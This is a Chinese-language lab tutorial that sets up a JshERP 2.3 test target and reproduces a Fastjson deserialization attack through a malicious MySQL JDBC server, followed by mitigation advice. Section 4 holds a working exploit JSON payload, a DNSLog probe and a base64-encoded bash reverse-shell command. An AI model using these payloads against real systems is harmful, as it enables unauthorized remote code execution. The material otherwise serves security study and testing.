当前位置: 首页 > news >正文

保姆级教程:手把手搭建Java靶场(JshERP 2.3)并复现Fastjson+MySQL JDBC反序列化漏洞

从零构建Java靶场:JshERP 2.3环境搭建与Fastjson漏洞实战解析

当安全研究员面对一个陌生的Java Web应用时,如何快速搭建测试环境并验证漏洞?本文将以华夏ERP 2.3系统为例,带你完整走通从环境配置到漏洞利用的全流程。我们将重点剖析MySQL JDBC驱动与Fastjson反序列化的组合攻击手法,这种利用方式在传统RMI/LDAP利用链失效时往往能出奇制胜。

1. 实验环境准备与项目配置

1.1 基础工具安装清单

工欲善其事,必先利其器。以下是需要提前准备的软件环境:

  • 开发工具:IntelliJ IDEA 2020.3+(社区版即可)
  • Java环境:JDK 8u202(注意版本兼容性)
  • Web容器:Tomcat 8.5.34(与目标环境保持一致)
  • 数据库:MariaDB 10.3.7或MySQL 5.7
  • 靶场源码:GitHub获取jshERP-2.3完整项目

提示:建议使用Docker快速部署MySQL环境,避免本地安装冲突。若使用Windows系统,确保PATH环境变量配置正确。

1.2 项目导入与配置调整

下载源码后,在IDEA中执行以下操作:

git clone https://github.com/jshERP/jshERP-2.3.git

关键配置文件application.properties需要修改数据库连接参数:

spring.datasource.url=jdbc:mysql://localhost:3306/jsh_erp?useSSL=false spring.datasource.username=root spring.datasource.password=yourpassword spring.datasource.driver-class-name=com.mysql.jdbc.Driver

常见问题排查表:

错误现象可能原因解决方案
连接拒绝数据库服务未启动sudo systemctl start mysql
认证失败密码错误/权限不足重置密码或授权远程连接
时区错误服务器时区设置在URL添加&serverTimezone=UTC

2. 数据库初始化与系统部署

2.1 数据库 schema 导入

创建空数据库后,执行初始化脚本:

CREATE DATABASE jsh_erp CHARACTER SET utf8mb4; USE jsh_erp; SOURCE /path/to/jsh_erp.sql;

验证表是否创建成功:

SHOW TABLES LIKE 'jsh_%';

2.2 Tomcat 集成与启动

在IDEA中配置Tomcat时需注意:

  1. 添加Artifact为Web Application: Exploded
  2. 设置Application context为/jshERP
  3. 调整VM options避免内存溢出:
-Xms512m -Xmx1024m -XX:MaxPermSize=256m

启动后访问http://localhost:8080/jshERP,使用默认凭证登录:

  • 用户名:admin
  • 密码:123456

3. Fastjson漏洞原理与验证

3.1 反序列化触发点定位

在用户管理模块的查询接口存在JSON参数解析:

POST /jshERP/user/search HTTP/1.1 Content-Type: application/x-www-form-urlencoded search=%7B%22name%22%3A%22test%22%7D

3.2 DNSLog初步验证

构造简单探测payload:

{ "@type":"java.net.Inet4Address", "val":"your-subdomain.dnslog.cn" }

URL编码后提交,观察DNS解析记录。成功收到查询说明存在Fastjson反序列化漏洞。

4. MySQL JDBC高级利用技术

4.1 传统利用链失效分析

当常见利用链(如JdbcRowSetImpl)被防御时,错误日志可能显示:

Not support com.sun.rowset.JdbcRowSetImpl

这是因为高版本Fastjson内置了黑名单机制。

4.2 恶意MySQL服务器搭建

准备攻击工具:

  • evil-mysql-server
  • ysoserial-all.jar

启动恶意服务:

java -jar evil-mysql-server.jar -port 3307 \ -ysoserial ysoserial-all.jar \ -gadget CommonsCollections6 \ -command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

4.3 精心构造攻击Payload

完整利用JSON结构:

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "attacker-ip", "portToConnectTo": 3307, "info": { "user": "yso_CommonsCollections6_...", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } } }

关键参数说明:

  • statementInterceptors:触发反序列化的入口点
  • autoDeserialize:允许自动反序列化BLOB数据
  • NUM_HOSTS:控制连接重试次数

5. 防御建议与安全加固

5.1 临时缓解措施

对于无法升级的场景:

  1. 添加JVM启动参数:
-Dfastjson.parser.safeMode=true
  1. 配置Filter拦截危险请求:
if (request.getParameterNames().contains("search")) { String param = request.getParameter("search"); if (param.contains("@type")) { response.sendError(403); return; } }

5.2 长期安全方案

防护层级具体措施实施难度
代码层升级至Fastjson 2.x
架构层部署WAF过滤异常请求
运维层网络隔离数据库服务

实际项目中遇到的坑:MySQL Connector/J 8.0+版本默认禁用autoDeserialize,但许多历史系统仍在使用5.x驱动。建议在测试环境先用SHOW VARIABLES LIKE '%version%'确认数据库驱动版本。

http://www.jsqmd.com/news/1005261/

相关文章:

  • 【程序语言与编译】语法分析:自上而下推导(最左/最右)
  • 专业的上海系统门窗厂家
  • 如何把 AI Agent Harness Engineering 变成卖得出去的产品:定价模型与增长策略
  • 7个可测量的Prompt工程底层技巧:从指令解析到熵值控制
  • 河北铝塑板加工厂家实测排行 核心能力全维度对比 - 奔跑123
  • Android相机有线连接技术拆解:从USB通信到文件传输的完整链路
  • 2026总部看全局、区域看趋势、门店看自己:服装全渠道BI看板的三层架构
  • 2026衡水市百达翡丽+宝珀手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商务
  • 如何快速搭建实时弹幕数据采集系统:跨平台直播监控终极方案
  • 2026喀什市雅典+天梭手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商贸
  • 2026揭阳市江诗丹顿+万国手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商贸
  • SAR点目标成像旁瓣性能量化工具:MATLAB一键计算PSLR与ISLR
  • UEFI_Shell_App_原理详解
  • Rust实战:轻量级IBC侧链验证器开发
  • 山东大学软件学院2026项目实训-个人博客(六)
  • 2026申请香港身份怎么挑靠谱中介?3 家中介真实测评对比来了
  • 2026衡阳市江诗丹顿+万国手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商务
  • 2026潮州市雅典+天梭手表专业回收,26年精选回收店铺排行榜推荐 - 莘州文化
  • D2DX宽屏补丁:让经典《暗黑破坏神2》在现代PC上焕发新生的终极解决方案
  • SketchUp STL插件终极指南:从3D建模到3D打印的完整解决方案
  • 我是如何用 Go + Wails 开发一款无广告的 Windows 清理工具的?
  • 百能云芯| 强茂 PANJIT:官方授权代理,采购优选
  • 2026韶关市美度百达翡丽+宝珀手表专业回收,26年精选回收店铺排行榜推荐 - 莘州文化
  • ncmdump解密工具:三步实现网易云音乐NCM格式高效转换
  • 2026晋城市法穆兰+宝玑手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商贸
  • STM32F407驱动ADS8684/ADS8688的SPI软片选高精度采集方案(含多量程切换与过压保护)
  • OrcaSlicer下载与使用教程:开源3D打印切片软件,支持Bambu、Prusa、Creality等主流打印机
  • 2026连云港市萧邦+劳力士手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商务
  • 2026年磁致伸缩位移/液位传感器厂家:专业高精度磁致伸缩沉降检测仪器与传感器供应商 - 品牌发掘
  • Breast Cancer 二分类实验:随机森林预测乳腺肿瘤良恶性